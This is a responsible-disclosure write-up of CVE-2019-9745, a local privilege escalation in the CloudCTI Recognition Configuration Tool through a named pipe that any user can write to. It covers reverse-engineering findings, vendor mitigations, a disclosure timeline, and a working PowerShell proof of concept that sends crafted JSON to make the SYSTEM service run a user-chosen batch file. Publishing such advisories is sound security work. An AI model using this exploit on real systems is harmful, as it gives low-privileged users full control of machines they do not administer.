Flaws vs bugs (CVE-2019-9745)

Arn Vollebregt


Creativity is at the core of penetration testing, which keeps our work interesting. One pitfall however is the tendency to 'over-engineer' attack scenarios and focus solely on bugs (error conditions). Flaws (unintended behaviour) may however be present with equally devastating results. This article provides a case-study to demonstrate the importance of pentesting for such flaws. Simultaneously it makes a case for employing an SDLC (Secure Development Lifecycle) process.

The article is part of the RD (responsible disclosure) of vulnerability CVE-2019-9745 and has been written in close cooperation with vendor CloudCTI. It gives a high-level overview of the vulnerability before deep-diving into the technical details. After demonstrating exploitation of the vulnerability a conclusion is provided with lessons learned.


The CloudCTI Recognition Configuration Tool we examined during one of our penetration tests is used to retrieve information from CRM (Customer Relationship Management) software. This provides callcenter personnel with relevant information during customer calls. Several issues where identified that can be chained together to fully compromise the local system. The vendor would like to stress this does not affect systems of other customers nor their own.

As with many security vulnerabilities an important issue lies in validating data originating from outside your sphere of influence. Equally important is the realization that systems and software operate in hostile environments. Time and experience has taught us eavesdropping is a threat on the internet. The same however is true for other communication channels, even within a system itself. This was instrumental in discovering the vulnerability.

A root-cause analysis of the encountered issues shows the importance of practices such as TM (threat modelling). TM helps identifying risks during the early stages of design and development. This can lead to mitigation of unacceptable risks or redesign/reimplementation. Although the reader is encouraged to perform their own analysis, descriptions of the vendor's countermeasures are provided for reference.

The vulnerability

The vendor software consists of four applications that work together. The first application is the Graphical user interface (GUI). This allows the user to initiate information retrieval from several CRM software packages:

Figure 01

The GUI delegates information retrieval to a service (the second application) by sending a message. The first security issues manifest themself here: not only can anybody on the system observe the messages between the GUI and the service to determine their format and content (affecting confidentiality), they can also send their own messages (affecting authorization). Furthermore, the source of messages to the service is not verified (affecting non-repudiation). In STRIDE threat modelling terminology this means the system is prone to information disclosure and tampering. Indeed, information gleaned from these messages was instrumental in discovering the vulnerability.

The third application is one of many specialized importers. The service offloads information retrieval for a specific CRM package to a specific importer. The message send by the GUI contains specific instructions for this importer. Looking at the Exquise CRM importer it turns out information retrieval is further delegated to an external (fourth) application. Examining the internal logic of the importer it was discovered the external application could be specified in the message between the GUI and service. The issue that manifests itself here is that the external application is executed without verifying it's identity (affecting non-repudiation).

Chaining these issues together we could eavesdrop on messages to determine their format and send a message in which we specify our own malicious external application. That external application is executed with the same privileges as the importer/service. As these privileges are the highest possible within the system total control is achieved and the system is compromised.

These issues are mitigated by the vendor by encrypting the messages (mitigating the confidentiality issue) through the use of unique shared secrets (mitigating the authorization issue) that can only be accessed by the authenticated system users that own them (mitigating the first non-repudiation issue). Finally, the external application is cryptograpically signed (mitigating the second non-repudiation issue). Combining these measures successfully mitigates the vulnerability.

Technical details

When the CloudCTI Recognition Configuration Tool GUI application (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) is installed it is examined with Process Explorer. This uncovers that a companion service (Recognition Update Client Service) is installed and executed with NT AUTHORITY\SYSTEM rights:

Figure 02

Upon investigating the service executable (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) it becomes apparent it is developed using the .NET programming language. This can be decompiled using dnSpy to gain the insight in it's internal logic, which will be detailed below.

RUCS2017Service (the internal .NET namespace in the service executable) turns out to be a thin wrapper around the RUCS2017 namespace (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). This defines a Named Pipe server named RUCS20151029 at RUCS2017.dll:RUCS2017.TRUCS2017:902:

Figure 03

That named pipe server is started at RUCS2017.dll:RUCS2017.TRUCS2017:833:

Figure 04

The following Powershell one-liner is used to confirm this pipe is indeed active on the system:

PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\\.\\pipe\\") |Select-String -Pattern "RUCS20151029"


Using AccessChk the access rights of the pipe are examined. Through this it is discovered the pipe can be read (R) from and written (W) to by any system user (Everyone):

PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029

Accesschk v6.12 - Reports effective permissions for securable objects Copyright (C) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029 RW Everyone RW BUILTIN\Administrators

When the Add application functionality in the GUI is used (see Figure 01) the following unencrypted traffic is observed on the named pipe using IO Ninja:

Figure 05

This contains the following JSON data:

        "DatasourceType":"exquise exporter",

Processing of messages on the pipe is event based and subscribed to in the constructor of the service at RUCS2017.dll:RUCS2017.TRUCS2017:803:

Figure 06

In this function the JSON is first deserialized at RUCS2017.dll:RUCS2017.TRUCS2017:267:

Figure 07

The specific logic for processing the WizardGetData JSON message structure can be found at RUCS2017.dll:RUCS2017.TRUCS2017:315 under the TFerbCommandType.WizardGetData enumeration case:

Figure 08

A task manager then starts a new thread at RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614 passing the parsed message structure:

Figure 09

The DatasourceType (for a specific CRM package) is dynamically loaded at RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177:

Figure 10

Which loads the .dll file defined in json.conf:17:

Figure 11

Further processing of the message is then delegated to the C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll plugin at RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197 (Figure 10).

CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource is derived from CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll). This in turn is derived from CloudCTI.Datasources.RUS2015.DatasourceBase (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll). We find the implementation of the GetData method at CloudCTI.Datasources.RUS2015.DatasourceBase:133 which calls initializeDatasource at CloudCTI.Datasources.RUS2015.DatasourceBase:142:

Figure 12

This in turn calls DatasourceInitialize at CloudCTI.Datasources.RUS2015.DatasourceBase:598:

Figure 13

First the JSON message is parsed at CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24:

Figure 14

The structure of this message is defined in the CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings class. This class also contains the ExporterApplication property which is of great interest to us:

Figure 15

At CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29 (see figure 14) it is checked if the ExporterApplication is set in the message. If this is no the case a default application is used otherwise the external application from the message is used. This is where the vulnerability manifests itself. At CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41 (see Figure 14) the createExportFile method is called which starts the previously determined external application (line 73):

Figure 16

The exploit

As the service process (C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe) runs with NT AUTHORITY\SYSTEM rights it has access to all facets of the system, which we now also have via the CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication property. When this is crafted into the message the following JSON template is the result:

        "DatasourceType":"exquise exporter",

Through trial&error it turns out the ExporterApplication can be a batch script which requires no downloading of additional resources and can be placed in a (user) directory that is under control of a user with low(er) privileges. As all users can write to the RUCS20151029 Named Pipe the following PowerShell script is used to send crafted JSON to the named pipe:


# Import .NET classes in Powershell.
add-Type -assembly "System.Core"
# Create required 'data' directory (per internal programming logic).
New-Item -ItemType directory -Path data -Force > $null
# Remove any cached results, which may block execution of the exploit.
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore
$pipeName = '\RUCS20151029'
# Construct/configure a named pipe client.
$pipe = new-object System.IO.Pipes.NamedPipeClientStream(
$pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message;
$pipeWriter = new-object System.IO.StreamWriter($pipe);
# Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\\Users\\hacker\\exploit","ExporterApplication":"C:\\Users\\hacker\\exploit\\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
# Properly encode the payload.
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
# Send the payload.
$pipeWriter.Write($payload, 0, $payload.length);

The following batch script is specified in the JSON message as the external application (ExporterApplication). As a proof of concept the name of the user that executes it is written to a file. Of course this can be replaced with any command (sequence).


whoami > C:\Users\hacker\exploit\CVE-2019-9745.log

When the message is sent by a normal (low privileged) user (using CVE-2019-9745.ps1) we can indeed see that CVE-2019-9745.bat is executed using elevated privileges (NT Authority\SYSTEM):

Figure 17


From a pentesting perspective testing for flaws in the (business) logic of a system can be a significant time investment. Because most pentests are black-box testing (as opposed to white-box testing) this usually involves reverse engineering. However, as demonstrated flaws can be just as devastating as bugs. For this reason a two-pronged approach testing both for bugs and flaws is strongly advised.

From the standpoint of a vendor it is important to not only ask the question 'how can our products be used' but also 'how can it be abused'. SDLC (Secure Development Lifecycle) can help with risk management during the various stages of a product lifecycle: security requirements, architecture and a threat model aid the high and low level design phase. Static/dynamic code analysis and peer reviewing aid the development process. Finally, penetration testing provides an (independent) audit. Of course, results of these processes are to be offset against a risk appetite. From a financial perspective various studies (The Business Case for Security in the SDLC) have concluded that addressing (security) defects in earlier stages of a product lifecycle is more cost-effectivethan remediation . This means investing in SDLC can reduce the TCO (Total Cost of Ownership) in the long run.

Bridging both perspectives it is important to keep investing in Security awareness on all fronts through training and education. This ensures all parties are up-to-date on both opportunities and security risks in the IT domain that keep evolving at a rapid pace. As such, we can all contribute to a more secure society.

Responsible Disclosure Time-line

  • 25-01-2019 : Vulnerability reported to vendor CloudCTI by KPN CERT.
  • 14-02-2019 : Hotfix released to customers by CloudCTI.
  • 13-03-2019 : CVE reservation by MITRE.
  • 18-04-2019 : Initial patch provided to KPN by CloudCTI.
  • 26-04-2019 : Retest of vulnerability by KPN Red team.
  • 02-05-2019 : Revised patch provided to KPN by CloudCTI.
  • 02-05-2019 : Retest of vulnerability by KPN Red team.
  • 19-06-2019 : Patch released to customers by CloudCTI.
  • 27-06-2019 : Security notification released by CloudCTI.
  • 14-10-2019 : Publication of this writeup by KPN Red team on GitHub.
  • 14-10-2019 : CVE publication by MITRE.

  • 07-11-2019 : Publication of this writeup by KPN Red team on kpn.com.


The CVSS score we assigned to this vulnerability is 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).